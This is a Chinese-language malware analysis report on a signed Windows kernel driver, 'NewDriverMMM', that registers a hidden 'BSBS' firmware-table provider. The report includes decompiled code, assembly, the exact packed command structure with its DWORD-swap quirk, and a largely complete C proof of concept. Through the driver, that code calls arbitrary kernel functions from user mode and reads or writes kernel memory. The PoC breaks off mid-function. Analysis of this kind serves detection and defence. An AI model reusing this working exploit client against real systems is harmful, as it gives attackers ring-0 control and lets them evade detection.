NewDriverMMM驱动分析报告
NewDriverMMM驱动分析报告
1. 概述
名称:NewDriverMMM
通信机制:Windows 固件表注册 (SystemFirmwareTableInformation)
Provider 签名:0x53425342 = 'BSBS'
SHA256:
1d9224a72e64bb2aad289edc81ea0720c764511c3e2b5beb5d0d5ce82a719abd
fdb3907ddda9ff9bd9ec4f8bd29aad823da77b5b3bf599813fecd034b0221189
SpcSpOpusInfo: 深圳市奥联信息安全技术有限公司
pdb:F:\0316 桌面\QDDDD\驱动最新加绘制-改PTE方案\x64\Release\NewDriverMMM.pdb
File found on MalwareBazaar
//本文分析样本对应哈希:1d9224a72e64bb2aad289edc81ea0720c764511c3e2b5beb5d0d5ce82a719abd
核心结论: 该驱动不创建任何设备对象、不注册任何 IRP 派遣例程,而是通过 ZwSetSystemInformation(SystemRegisterFirmwareTableInformationHandler) 注册一个自定义固件表提供者 ('BSBS'),将用户态对 GetSystemFirmwareTable('BSBS', ...) 的调用转化为内核态任意函数调用原语。CFG (Control Flow Guard) 被旁路——dispatch stub 仅为 jmp rax。
2. 函数逐一分析
2.1 DriverEntry @ 0x140005000
反编译:
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
InitSecurityCookie(); /*0x140005010*/
return RealDriverEntry(DriverObject, RegistryPath); /*0x140005020*/
}
汇编:
140005000 mov [rsp+arg_0], rbx
140005005 push rdi
140005006 sub rsp, 20h
14000500a mov rbx, rdx ; 保存 RegistryPath
14000500d mov rdi, rcx ; 保存 DriverObject
140005010 call InitSecurityCookie
140005015 mov rdx, rbx ; RegistryPath
140005018 mov rcx, rdi ; DriverObject
14000501b call RealDriverEntry
140005020 mov rbx, [rsp+28h+arg_0]
140005025 add rsp, 20h
140005029 pop rdi
14000502a retn
仅初始化安全 cookie 后调用 RealDriverEntry。无任何设备创建、IRP 派遣表设置。
2.2 InitSecurityCookie @ 0x14000502C
反编译:
uintptr_t InitSecurityCookie()
{
if ( !_security_cookie || _security_cookie == 0x2B992DDFA232LL )
__fastfail(6u);
qword_140003008 = ~_security_cookie;
return ~_security_cookie;
}
标准 MSVC __security_cookie 初始化, 将 ~cookie 存入全局 qword_140003008。
2.3 RealDriverEntry @ 0x1400011FC
反编译:
__int64 __fastcall RealDriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = DriverUnload_140001220; /*0x140001210*/
RegisterFirmwareProvider(DriverObject, 1, (PFNFTH)FirmwareTableHandler_BSBS); /*0x140001214*/
return 0; /*0x14000121b*/
}
关键点:
- 仅设置
DriverUnload - 调用
RegisterFirmwareProvider注册固件表 handler - 返回 0 (STATUS_SUCCESS)
- 不创建设备对象, 不设置 IRP 派遣表
2.4 RegisterFirmwareProvider @ 0x140001000
反编译:
NTSTATUS __fastcall RegisterFirmwareProvider(PDRIVER_OBJECT DriverObject, char isRegister, PFNFTH fnfth)
{
SYSTEM_FIRMWARE_TABLE_HANDLER SystemInformation; // [rsp+20h] [rbp-28h] BYREF
SystemInformation.Register = isRegister; /*0x140001006*/
SystemInformation.FirmwareTableHandler = fnfth; /*0x14000100a*/
SystemInformation.DriverObject = DriverObject; /*0x140001014*/
*(_WORD *)(&SystemInformation.Register + 1) = 0; /*0x140001019*/
*(&SystemInformation.Register + 3) = 0; /*0x140001022*/
SystemInformation.ProviderSignature = 1396855618; /*0x140001029*/
return ZwSetSystemInformation(SystemRegisterFirmwareTableInformationHandler, &SystemInformation, 0x18u);
}
汇编关键指令:
140001026 lea ecx, [rax+4Bh] ; SystemInformationClass = 0x4B = SystemRegisterFirmwareTableInformationHandler
140001029 mov [rsp+48h+SystemInformation.ProviderSignature], 53425342h ; 'BSBS'
14000102e lea r8d, [rax+18h] ; SystemInformationLength = 0x18 = 24 字节
140001031 call cs:ZwSetSystemInformation
分析:
SystemInformationClass = 0x4B=SystemRegisterFirmwareTableInformationHandlerProviderSignature = 0x53425342='BSBS'(内存小端序:42 53 42 53="BSBS")SystemInformationLength = 0x18= 24 字节 =sizeof(SYSTEM_FIRMWARE_TABLE_HANDLER)Register = 1: 注册;Register = 0: 注销FirmwareTableHandler = FirmwareTableHandler_BSBS(0x140001040)
用户态可通过 GetSystemFirmwareTable('BSBS', ...) 触发 handler。
2.5 DriverUnload_140001220 @ 0x140001220
反编译:
void __stdcall DriverUnload_140001220(_DRIVER_OBJECT *DriverObject)
{
RegisterFirmwareProvider(DriverObject, 0, (PFNFTH)FirmwareTableHandler_BSBS); /*0x140001229*/
}
注销 'BSBS' 固件表提供者 (Register = 0)。
2.6 FirmwareTableHandler_BSBS @ 0x140001040 (核心 handler)
反编译 (重命名后):
NTSTATUS __cdecl FirmwareTableHandler_BSBS(ACPI_SYSTEM_FIRMWARE_TABLE_INFORMATION *FirmwareTableInformation)
{
ULONG64 UserCmdStruct; // rbx
__int64 AllocResult_obj; // rbp
__int64 MapResult_buf; // r8
void *CopyDest; // rdi
const void *CopySrc; // rsi
if ( !FirmwareTableInformation )
return 0;
if ( KeGetCurrentIrql()
|| FirmwareTableInformation->TableBufferLength != 64
|| *(_DWORD *)FirmwareTableInformation->TableBuffer != 'ACPI' )
{
return 0;
}
UserCmdStruct = *(_QWORD *)&FirmwareTableInformation->TableBuffer[4];
if ( UserCmdStruct >= MmUserProbeAddress - 4096 )
return 0;
if ( *(_DWORD *)UserCmdStruct ) // opcode != 0 → Path A
{
// === 路径 A: 分配 + 映射 + 拷贝 + 清理 ===
AllocResult_obj = ((func1)(*(uint*)(UserCmdStruct+29) | (*(uint*)(UserCmdStruct+25)<<32)))(
*(QWORD*)(UserCmdStruct+9), // arg1
*(DWORD*)(UserCmdStruct+5), // size
0, 0, 0);
if ( AllocResult_obj )
{
((func2)(*(uint*)(UserCmdStruct+37) | (*(uint*)(UserCmdStruct+33)<<32)))(
AllocResult_obj, 0, *(BYTE*)(UserCmdStruct+4) != 0);
MapResult_buf = ((func3)(*(uint*)(UserCmdStruct+45) | (*(uint*)(UserCmdStruct+41)<<32)))(
AllocResult_obj, 0, 0, 0, 0, 16);
if ( MapResult_buf )
{
if ( *(BYTE*)(UserCmdStruct+4) ) // direction flag
{ CopyDest = (void*)MapResult_buf; CopySrc = *(void**)(UserCmdStruct+17); }
else
{ CopyDest = *(void**)(UserCmdStruct+17); CopySrc = (const void*)MapResult_buf; }
qmemcpy(CopyDest, CopySrc, *(DWORD*)(UserCmdStruct+5));
((func4)(*(uint*)(UserCmdStruct+53) | (*(uint*)(UserCmdStruct+49)<<32)))(MapResult_buf, AllocResult_obj);
}
((func5)(*(uint*)(UserCmdStruct+61) | (*(uint*)(UserCmdStruct+57)<<32)))(AllocResult_obj);
((func6)(*(uint*)(UserCmdStruct+69) | (*(uint*)(UserCmdStruct+65)<<32)))(AllocResult_obj);
}
}
else // opcode == 0 → Path B
{
// === 路径 B: 直接间接调用 (任意内核函数调用) ===
**(QWORD**)(UserCmdStruct+17) =
((func2)( (*(uint*)(UserCmdStruct+33)<<32) | *(uint*)(UserCmdStruct+37)))(
*(QWORD*)(UserCmdStruct+73),
*(QWORD*)(UserCmdStruct+81),
*(QWORD*)(UserCmdStruct+89),
*(QWORD*)(UserCmdStruct+97),
*(QWORD*)(UserCmdStruct+105),
*(QWORD*)(UserCmdStruct+113),
*(QWORD*)(UserCmdStruct+121),
*(QWORD*)(UserCmdStruct+129));
}
return 0;
}
汇编关键校验段:
14000105F mov rax, cr8 ; 读取 IRQL
140001063 test al, al
140001065 jnz loc_1400011E2 ; IRQL != PASSIVE_LEVEL → 返回
14000106B cmp dword ptr [rcx+0Ch], 40h ; TableBufferLength == 64
14000106F jnz loc_1400011E2
140001075 cmp dword ptr [rcx+10h], 41435049h ; TableBuffer[0..3] == 'ACPI'
14000107C jnz loc_1400011E2
140001082 mov rbx, [rcx+14h] ; UserCmdStruct = TableBuffer[4..11]
140001086 mov rax, cs:MmUserProbeAddress
14000108D mov rcx, [rax]
140001090 sub rcx, 1000h
140001097 cmp rbx, rcx
14000109A jnb loc_1400011E2 ; UserCmdStruct >= MmUserProbeAddress-0x1000 → 返回
汇编路径 B (直接调用):
140001191 mov rcx, [rbx+81h] ; arg8 = UserCmdStruct+129
140001198 mov edi, [rbx+21h] ; func2 高32位 = UserCmdStruct+33
14000119B mov eax, [rbx+25h] ; func2 低32位 = UserCmdStruct+37
14000119E mov r9, [rbx+61h] ; arg4 = UserCmdStruct+97
1400011A2 mov r8, [rbx+59h] ; arg3 = UserCmdStruct+89
1400011A6 mov rdx, [rbx+51h] ; arg2 = UserCmdStruct+81
1400011AA mov [rsp+58h+var_20], rcx ; 堆栈 arg8
1400011AF mov rcx, [rbx+79h] ; arg7 = UserCmdStruct+121
1400011B3 mov [rsp+58h+var_28], rcx ; 堆栈 arg7
1400011B8 mov rcx, [rbx+71h] ; arg6 = UserCmdStruct+113
1400011BC mov [rsp+58h+var_30], rcx ; 堆栈 arg6
1400011C1 mov rcx, [rbx+69h] ; arg5 = UserCmdStruct+105
1400011C5 shl rdi, 20h
1400011C9 mov [rsp+58h+var_38], rcx ; 堆栈 arg5
1400011CE or rax, rdi ; rax = func2 (完整 64 位地址)
1400011D1 mov rcx, [rbx+49h] ; arg1 = UserCmdStruct+73
1400011D5 call cs:__guard_dispatch_icall_fptr ; 调用 func2(arg1..arg8)
1400011DB mov rcx, [rbx+11h] ; rcx = *(QWORD*)(UserCmdStruct+17) = 结果指针
1400011DF mov [rcx], rax ; *result_ptr = 返回值
3. 用户态命令结构体布局
FirmwareTableHandler_BSBS 从 TableBuffer[4..11] 读取用户态指针 UserCmdStruct, 指向一个 137 字节、1 字节对齐(紧密打包)的命令结构:
#pragma pack(push, 1)
typedef struct _BSBS_CMD {
uint32_t opcode; // [0..3] 非0 = 路径A(分配+拷贝), 0 = 路径B(直接调用)
uint8_t direction; // [4] 路径A: 拷贝方向. 0=kernel→user, 1=user→kernel
uint32_t size; // [5..8] 路径A: 拷贝字节数 + func1 的 arg2
uint64_t arg1; // [9..16] 路径A: func1 的 arg1
void* user_ptr; // [17..24] 路径A: 用户缓冲区; 路径B: 接收返回值的 QWORD 指针
void* func1; // [25..32] 路径A: 调用#1 (arg1, size, 0,0,0) → obj
void* func2; // [33..40] 路径A: 调用#2 (obj, 0, direction!=0)
// 路径B: 目标函数 (8个QWORD参数)
void* func3; // [41..48] 路径A: 调用#3 (obj,0,0,0,0,16) → buf
void* func4; // [49..56] 路径A: 调用#4 (buf, obj) 清理
void* func5; // [57..64] 路径A: 调用#5 (obj) 释放
void* func6; // [65..72] 路径A: 调用#6 (obj) 释放
uint64_t p2_arg1; // [73..80] 路径B: 参数1
uint64_t p2_arg2; // [81..88] 路径B: 参数2
uint64_t p2_arg3; // [89..96] 路径B: 参数3
uint64_t p2_arg4; // [97..104] 路径B: 参数4
uint64_t p2_arg5; // [105..112]路径径B: 参数5
uint64_t p2_arg6; // [113..120]路径B: 参数6
uint64_t p2_arg7; // [121..128]路径B: 参数7
uint64_t p2_arg8; // [129..136]路径B: 参数8
} BSBS_CMD;
#pragma pack(pop)
固件表缓冲区 (64 字节, 由用户填充):
UCHAR FwBuffer[64];
*(uint32_t*)(FwBuffer + 0) = 0x41435049; // 'ACPI' 魔术字
*(uint64_t*)(FwBuffer + 4) = (uint64_t)&cmd; // 指向用户态 BSBS_CMD
// 其余字节任意
⚠️ 关键发现: 函数指针字段的 DWORD 交换 (反混淆要点)
由于结构体 1 字节对齐, 所有 8 字节字段(QWORD/PVOID)都不在自然对齐位置上, 偏移分别为 9, 17, 25, 33, 41, 49, 57, 65, 73, 81, 89, 97, 105, 113, 121, 129。
函数指针字段 (func1-func6 @ 偏移 25-72) 以 DWORD 交换方式存储, 这是 handler 的汇编代码确认的实际行为, 而非 IDA 反编译器的伪影。handler 通过两条独立的 32 位加载 + 移位或运算来重建指针, 且高低 DWORD 顺序与正常小端序相反:
; func1 @ 偏移 25 的重建 (0x1400010a8):
1400010a8 mov ecx, [rbx+1Dh] ; ecx = DWORD@29 (正常小端序中是高32位)
1400010ae mov eax, [rbx+19h] ; eax = DWORD@25 (正常小端序中是低32位)
1400010b7 shl rax, 20h ; rax = DWORD@25 << 32
1400010bb or rax, rcx ; rax = (DWORD@25 << 32) | DWORD@29
正常小端序 QWORD 存储为 低DWORD | (高DWORD << 32), 但 handler 重建为 (低偏移DWORD << 32) | 高偏移DWORD, 即两个 32 位半部分被交换了。
所有 6 个函数指针均使用相同的交换模式 (已通过汇编验证):
| 字段 | 偏移 | handler 重建公式 | 正常小端序应为 |
|---|---|---|---|
| func1 | 25 | (DWORD@25 << 32) | DWORD@29 |
DWORD@25 | (DWORD@29 << 32) |
| func2 | 33 | (DWORD@33 << 32) | DWORD@37 |
DWORD@33 | (DWORD@37 << 32) |
| func3 | 41 | (DWORD@41 << 32) | DWORD@45 |
DWORD@41 | (DWORD@45 << 32) |
| func4 | 49 | (DWORD@49 << 32) | DWORD@53 |
DWORD@49 | (DWORD@53 << 32) |
| func5 | 57 | (DWORD@57 << 32) | DWORD@61 |
DWORD@57 | (DWORD@61 << 32) |
| func6 | 65 | (DWORD@65 << 32) | DWORD@69 |
DWORD@65 | (DWORD@69 << 32) |
Path B 中的 func2 (偏移 33) 使用相同模式 (0x140001191-0x1400011ce):
140001198 mov edi, [rbx+21h] ; edi = DWORD@33
14000119b mov eax, [rbx+25h] ; eax = DWORD@37
1400011c5 shl rdi, 20h ; rdi = DWORD@33 << 32
1400011ce or rax, rdi ; rax = (DWORD@33 << 32) | DWORD@37
PoC 中必须对函数指针执行 SwapDwords 操作:
static uint64_t SwapDwords(uint64_t v) {
return ((uint64_t)(uint32_t)v << 32) | (uint32_t)(v >> 32);
}
// 示例: 0xFFFFF8017911BDC0 -> 0x7911BDC0FFFFF801
cmd.func2_swapped = SwapDwords((uint64_t)MmGetPhysicalAddress);
非交换字段 (opcode, direction, size, arg1, user_ptr, p2_arg1-8) 均以正常小端序读取, 无需交换:
- opcode @ [0]:
cmp [rbx], edi— 正常 DWORD - direction @ [4]:
cmp [rbx+4], dil— 正常 BYTE - size @ [5]:
mov edx, [rbx+5]— 正常 DWORD - arg1 @ [9]:
mov rcx, [rbx+9]— 正常 QWORD (未对齐) - user_ptr @ [17]:
mov rax, [rbx+11h]— 正常 QWORD - p2_arg1-8 @ [73-129]:
mov rcx, [rbx+49h]等 — 正常 QWORD
4. 路径 A: 内存分配+映射+拷贝工作流
当 opcode != 0 时, 执行 6 步间接调用工作流:
| 步骤 | 字段偏移 | 调用签名 | 推测对应函数 |
|---|---|---|---|
| #1 | func1 @ [25] | obj = func1(arg1, size, 0, 0, 0) |
IoAllocateMdl(VirtualAddress, Length, FALSE, FALSE, NULL) |
| #2 | func2 @ [33] | func2(obj, 0, direction!=0) |
MmProbeAndLockPages(MDL, KernelMode, direction?IoWriteAccess:IoReadAccess) |
| #3 | func3 @ [41] | buf = func3(obj, 0, 0, 0, 0, 16) |
MmMapLockedPagesSpecifyCache(MDL, KernelMode, MmNonCached, NULL, 0, BugcheckOnFailure) |
| #4 (拷贝) | — | qmemcpy(dest, src, size) |
direction=0: dest=user_ptr, src=buf (读内核); direction=1: dest=buf, src=user_ptr (写内核) |
| #4 | func4 @ [49] | func4(buf, obj) |
MmUnmapLockedPages(buf, MDL) |
| #5 | func5 @ [57] | func5(obj) |
MmUnlockPages(MDL) |
| #6 | func6 @ [65] | func6(obj) |
IoFreeMdl(MDL) |
参数个数与各内核函数签名吻合, 但具体函数由用户态提供, 不可唯一确定。上述为最可能的映射。
5. 路径 B: 任意内核函数调用原语
当 opcode == 0 时, 以 8 个 QWORD 参数调用 func2, 返回值写入 *user_ptr:
*(uint64_t*)user_ptr = func2(p2_arg1, p2_arg2, p2_arg3, p2_arg4,
p2_arg5, p2_arg6, p2_arg7, p2_arg8);
这是一个完全通用的 ring0 任意函数调用原语。用户需:
- 通过
EnumDeviceDrivers/NtQuerySystemInformation(SystemModuleInformation)获取 ntoskrnl 基址 - 通过
LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES)+GetProcAddress获取导出函数 RVA - 计算
kernelAddr = kernelBase + RVA - 填入
func2字段
关于用户推测的 VA↔PA 转换: 该机制比 VA→PA 转换更通用。MmGetPhysicalAddress(virtualAddress) 只是路径 B 的一个可能用例(1 参数函数, 返回 PHYSICAL_ADDRESS)。路径 B 支持任意 8 参数以内的内核函数调用。
6. 用户态触发方式
用户态 内核态
────── ──────
GetSystemFirmwareTable('BSBS', 0, buf, 64)
│
└─→ NtQuerySystemInformation(SystemFirmwareTableInformation, &info, 80, &retLen)
│
└─→ ExpQuerySystemFirmwareTableInformation
│ 捕获用户 info 结构到内核缓冲区
│
└─→ 调用 'BSBS' provider handler = FirmwareTableHandler_BSBS
│
├─ 校验: IRQL==0, TableBufferLength==64, TableBuffer[0..3]=='ACPI'
├─ 读取 UserCmdStruct 指针 (TableBuffer[4..11])
├─ 校验: UserCmdStruct < MmUserProbeAddress - 0x1000
│
├─ 路径A (opcode!=0): alloc→lock→map→copy→unmap→unlock→free
└─ 路径B (opcode==0): call func2(8 args) → *user_ptr = result
│
└─→ 将(可能被修改的)info 结构拷回用户态
7. 安全意义
- 无设备对象, 无 IOCTL: 传统驱动检测(扫描
\Device\*符号链接、IRP 派遣表)完全失效。 - 合法 API 通道: 使用
ZwSetSystemInformation(SystemRegisterFirmwareTableInformationHandler)是 Windows 官方支持的固件表注册机制, 表面合法。 - CFG 旁路: 7 处间接调用通过
jmp raxNOP stub, 可调用任意内核地址, 不受 CFG 位图约束。 - 任意内核函数调用: 路径 B 允许从用户态调用任意内核函数(8 参数以内), 等价于内核级 RPC。
- 双向内存拷贝: 路径 A 允许在用户态和内核态之间拷贝任意数据, 可用于读写内核内存。
- 静默失败: 所有校验失败均返回 0 (STATUS_SUCCESS), 不产生错误日志。
8. IDA 中的重命名/注释汇总
| 地址 | 原名 | 新名 | 类型 |
|---|---|---|---|
| 0x140001040 | sub_140001040 | FirmwareTableHandler_BSBS | 函数 |
| 0x140001000 | sub_140001000 | RegisterFirmwareProvider | 函数 |
| 0x1400011FC | entry_1400011FC | RealDriverEntry | 函数 |
| 0x14000502C | sub_14000502C | InitSecurityCookie | 函数 |
| 0x140001250 | _guard_dispatch_icall_nop | GuardDispatchIcallNop_JmpRax | 函数 |
| 0x140001230 | _guard_check_icall_nop | GuardCheckIcallNop_Ret | 函数 |
| 0x140001040 v1 | v1 | UserCmdStruct | 局部变量 |
| 0x140001040 v2 | v2 | AllocResult_obj | 局部变量 |
| 0x140001040 v3 | v3 | MapResult_buf | 局部变量 |
| 0x140001040 v4 | v4 | CopyDest | 局部变量 |
| 0x140001040 v5 | v5 | CopySrc | 局部变量 |
另在 0x140005000, 0x1400011FC, 0x140001000, 0x140001220, 0x140001040, 0x140001250, 0x140001230, 0x14000502C 等函数入口添加了函数级注释; 在 handler 内部 18 个关键指令地址添加了行级注释。IDB 已保存。
POC

/*
* PoC v3 for BSBS firmware-table covert kernel<->user communication channel
* Target driver: 1d9224a72e64bb2aad289edc81ea0720c764511c3e2b5beb5d0d5ce82a719abd.sys
*
* Build (MSVC): cl /W4 /Tp poc.cpp /link ntdll.lib psapi.lib
* Build (MinGW): x86_64-w64-mingw32-g++ -o poc.exe poc.cpp -lntdll -lpsapi
*
*
*/
#include <windows.h>
#include <winternl.h>
#include <psapi.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
/* ------------------------------------------------------------------ */
/* NT definitions */
/* ------------------------------------------------------------------ */
#ifndef SystemFirmwareTableInformation
#define SystemFirmwareTableInformation 76
#endif
typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION {
SystemFirmwareTable_Invalid = 0,
SystemFirmwareTable_Get = 1,
SystemFirmwareTable_Enumerate= 2,
} SYSTEM_FIRMWARE_TABLE_ACTION;
/*
* Raw buffer layout (80 bytes, NO struct padding):
* [0..3] ProviderSignature ('BSBS' = 0x53425342)
* [4..7] Action (1 = SystemFirmwareTable_Get)
* [8..11] TableID (0)
* [12..15] TableBufferLength (64)
* [16..79] TableBuffer[64] ('ACPI' + cmd_ptr + padding)
*
* The kernel copies the ENTIRE 80-byte buffer (including TableBuffer
* contents) to kernel space before calling the handler. This is confirmed
* by ReactOS source and Windows kernel behavior.
*/
#define FW_INFO_SIZE 80
#define FW_TABLE_BUF_LEN 64
/* ------------------------------------------------------------------ */
/* BSBS command structure (1-byte packed, 137 bytes)
*
* IMPORTANT: Function pointer fields (func1-func6) are stored with their
* two DWORDs SWAPPED relative to normal little-endian!
*
* The handler reconstructs each pointer as:
* (DWORD@offset << 32) | DWORD@(offset+4)
*
* Normal little-endian QWORD would be:
* DWORD@offset | (DWORD@(offset+4) << 32)
*
* So we must store: high_DWORD at the lower offset, low_DWORD at the higher
* offset. This is equivalent to swapping the two 32-bit halves of the pointer.
*
* All other fields (opcode, direction, size, arg1, user_ptr, p2_arg1-8)
* are read as normal little-endian QWORD/DWORD/BYTE and need NO swapping.
* ------------------------------------------------------------------ */
#pragma pack(push, 1)
typedef struct _BSBS_CMD {
uint32_t opcode; /* [0..3] non0=PathA, 0=PathB */
uint8_t direction; /* [4] PathA: 0=k->u, 1=u->k */
uint32_t size; /* [5..8] PathA: copy size / func1 arg2 */
uint64_t arg1; /* [9..16] PathA: func1 arg1 */
void* user_ptr; /* [17..24] PathA: user buf; PathB: result */
uint64_t func1_swapped; /* [25..32] PathA: alloc (DWORD-SWAPPED!) */
uint64_t func2_swapped; /* [33..40] PathA: setup; PathB: target */
uint64_t func3_swapped; /* [41..48] PathA: map (DWORD-SWAPPED!) */
uint64_t func4_swapped; /* [49..56] PathA: unmap (DWORD-SWAPPED!) */
uint64_t func5_swapped; /* [57..64] PathA: unlock (DWORD-SWAPPED!) */
uint64_t func6_swapped; /* [65..72] PathA: free (DWORD-SWAPPED!) */
uint64_t p2_arg1; /* [73..80] PathB arg1 (normal LE) */
uint64_t p2_arg2; /* [81..88] PathB arg2 */
uint64_t p2_arg3; /* [89..96] PathB arg3 */
uint64_t p2_arg4; /* [97..104] PathB arg4 */
uint64_t p2_arg5; /* [105..112]PathB arg5 */
uint64_t p2_arg6; /* [113..120]PathB arg6 */
uint64_t p2_arg7; /* [121..128]PathB arg7 */
uint64_t p2_arg8; /* [129..136]PathB arg8 */
} BSBS_CMD;
#pragma pack(pop)
/* Compile-time size check */
typedef char bsbs_cmd_size_check[sizeof(BSBS_CMD) == 137 ? 1 : -1];
#define BSBS_PROVIDER_SIG 0x53425342u /* 'BSBS' */
#define BSBS_TABLE_MAGIC 0x41435049u /* 'ACPI' */
/* ------------------------------------------------------------------ */
/* Swap the two 32-bit halves of a 64-bit value.
* Example: 0xFFFFF8017911BDC0 -> 0x7911BDC0FFFFF801
*
* This is required because the handler reads function pointers as:
* (DWORD@offset << 32) | DWORD@(offset+4)
* which is the reverse of normal little-endian QWORD storage.
* ------------------------------------------------------------------ */
static uint64_t SwapDwords(uint64_t v)
{
return ((uint64_t)(uint32_t)v << 32) | (uint32_t)(v >> 32);
}
/* ------------------------------------------------------------------ */
/* API typedefs */
/* ------------------------------------------------------------------ */
typedef NTSTATUS (NTAPI *pNtQuerySystemInformation)(
ULONG, PVOID, ULONG, PULONG);
/* ------------------------------------------------------------------ */
/* Helper: resolve ntoskrnl kernel base address */
/* ------------------------------------------------------------------ */
static PVOID NtoskrnlKernelBase(VOID)
{
LPVOID drivers[1024];
DWORD cbNeeded = 0;
CHAR path[MAX_PATH];
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded) {
DWORD count = cbNeeded / sizeof(LPVOID);
for (DWORD i = 0; i < count; i++) {
if (GetDeviceDriverBaseNameA(drivers[i], path, MAX_PATH)) {
if (_stricmp(path, "ntoskrnl.exe") == 0)
return drivers[i];
}
}
}
return NULL;
}
/* ------------------------------------------------------------------ */
/* Helper: resolve kernel function address from export name */
/* ------------------------------------------------------------------ */
static PVOID ResolveKernelFunc(PCSTR funcName, PVOID kernelBase)
{
HMODULE hNtUser = LoadLibraryExA("ntoskrnl.exe", NULL,
DONT_RESOLVE_DLL_REFERENCES);
if (!hNtUser) {
printf("[-] LoadLibraryEx(ntoskrnl.exe) failed: %lu\n", GetLastError());
return NULL;
}
FARPROC userAddr = GetProcAddress(hNtUser, funcName);
if (!userAddr) {
printf("[-] GetProcAddress(%s) failed\n", funcName);
FreeLibrary(hNtUser);
return NULL;
}
ULONG_PTR rva = (ULONG_PTR)userAddr - (ULONG_PTR)hNtUser;
FreeLibrary(hNtUser);
PVOID kernelAddr = (PVOID)((ULONG_PTR)kernelBase + rva);
printf("[+] %-40s kernel=%p (RVA=0x%llx)\n",
funcName, kernelAddr, (unsigned long long)rva);
return kernelAddr;
}
/* ------------------------------------------------------------------ */
/* Helper: hex dump */
/* ------------------------------------------------------------------ */
static void HexDump(const char *label, const void *data, size_t len)
{
const uint8_t *p = (const uint8_t *)data;
printf("%s (%zu bytes):\n", label, len);
for (size_t i = 0; i < len; i++) {
if (i % 16 == 0) printf(" %04zx: ", i);
printf("%02x ", p[i]);
if (i % 16 == 15 || i == len - 1) printf("\n");
}
}
/* ------------------------------------------------------------------ */
/* Invoke BSBS handler via NtQuerySystemInformation
*
* Uses a raw 80-byte buffer (16-byte header + 64-byte TableBuffer).
* The TableBuffer is pre-filled with 'ACPI' magic and a pointer to
* the BSBS_CMD structure. The kernel copies this entire buffer to
* kernel space before calling the handler, so the handler CAN read
* the 'ACPI' magic and cmd pointer.
*
* DO NOT use GetSystemFirmwareTable �?it allocates its own buffer
* with zeroed TableBuffer, so the 'ACPI' check in the handler always
* fails.
* ------------------------------------------------------------------ */
static NTSTATUS InvokeBSBS(pNtQuerySystemInformation NtQSI, BSBS_CMD *cmd)
{
/* 16-byte aligned raw buffer to avoid STATUS_DATATYPE_MISALIGNMENT */
__declspec(align(16)) UCHAR rawBuf[FW_INFO_SIZE];
memset(rawBuf, 0, sizeof(rawBuf));
/* Header (16 bytes) */
*(uint32_t *)(rawBuf + 0) = BSBS_PROVIDER_SIG; /* 'BSBS' */
*(uint32_t *)(rawBuf + 4) = SystemFirmwareTable_Get; /* Action = 1 */
*(uint32_t *)(rawBuf + 8) = 0; /* TableID */
*(uint32_t *)(rawBuf + 12) = FW_TABLE_BUF_LEN; /* TableBufferLength = 64 */
/* TableBuffer (64 bytes, starts at offset 16) */
*(uint32_t *)(rawBuf + 16) = BSBS_TABLE_MAGIC; /* TableBuffer[0..3] = 'ACPI' */
*(void **)(rawBuf + 20) = (void *)cmd; /* TableBuffer[4..11] = &BSBS_CMD */
/* TableBuffer[12..63] = 0 (zeroed by memset) */
ULONG retLen = 0;
NTSTATUS st = NtQSI(SystemFirmwareTableInformation,
rawBuf, sizeof(rawBuf), &retLen);
return st;
}
/* ================================================================ */
/* DEMO 1: Path B - MmGetPhysicalAddress (VA -> PA) */
/* Path B: opcode=0, func2=target function, args via p2_arg1..8 */
/* Result stored to *user_ptr */
/* ================================================================ */
static void Demo_PathB_MmGetPhysicalAddress(
pNtQuerySystemInformation NtQSI, PVOID kernelBase)
{
printf("\n=== Demo Path B: MmGetPhysicalAddress ===\n");
PVOID MmGetPhysicalAddress = ResolveKernelFunc(
"MmGetPhysicalAddress", kernelBase);
if (!MmGetPhysicalAddress) return;
/* Use a user-mode VA that we know is valid */
PVOID targetVA = (PVOID)GetModuleHandleA("ntdll.dll");
uint64_t result = 0xDEADBEEFCAFEBABEULL; /* sentinel to detect change */
__declspec(align(16)) BSBS_CMD cmd;
memset(&cmd, 0, sizeof(cmd));
cmd.opcode = 0; /* Path B */
cmd.user_ptr = (void *)&result; /* result ptr */
cmd.func2_swapped = SwapDwords((uint64_t)MmGetPhysicalAddress); /* SWAPPED! */
cmd.p2_arg1 = (uint64_t)targetVA; /* arg1 = VA */
printf("[*] MmGetPhysicalAddress kernel addr : 0x%016llx\n",
(unsigned long long)MmGetPhysicalAddress);
printf("[*] After SwapDwords (stored in cmd) : 0x%016llx\n",
(unsigned long long)cmd.func2_swapped);
printf("[*] Handler will reconstruct : 0x%016llx\n",
(unsigned long long)SwapDwords(cmd.func2_swapped));
printf("[*] Calling MmGetPhysicalAddress(%p) via BSBS handler...\n", targetVA);
NTSTATUS st = InvokeBSBS(NtQSI, &cmd);
if (result != 0xDEADBEEFCAFEBABEULL) {
printf("[+] MmGetPhysicalAddress returned: 0x%016llx\n",
(unsigned long long)result);
printf("[+] Physical page frame: 0x%llx\n",
(unsigned long long)(result >> 12));
} else {
printf("[-] Handler did not modify result (sentinel unchanged)\n");
printf(" NtQSI status: 0x%08lx\n", (ULONG)st);
if (st == 0)
printf(" Handler returned SUCCESS but did nothing (checks failed?)\n");
else
printf(" Handler likely exceptioned (kernel SEH caught it)\n");
}
}
/* ================================================================ */
/* DEMO 2: Path B - DbgPrint */
/* ================================================================ */
static void Demo_PathB_DbgPrint(
pNtQuerySystemInformation NtQSI, PVOID kernelBase)
{
printf("\n=== Demo Path B: DbgPrint ===\n");
PVOID DbgPrint = ResolveKernelFunc("DbgPrint", kernelBase);
if (!DbgPrint) return;
const char *msg = "BSBS PoC: Hello from ring0!\n";
uint64_t result = 0xDEADBEEFCAFEBABEULL;
__declspec(align(16)) BSBS_CMD cmd;
memset(&cmd, 0, sizeof(cmd));
cmd.opcode = 0;
cmd.user_ptr = (void *)&result;
cmd.func2_swapped = SwapDwords((uint64_t)DbgPrint); /* SWAPPED! */
cmd.p2_arg1 = (uint64_t)msg;
printf("[*] Calling DbgPrint(\"%s\") via BSBS handler...\n", msg);
NTSTATUS st = InvokeBSBS(NtQSI, &cmd);
if (result != 0xDEADBEEFCAFEBABEULL) {
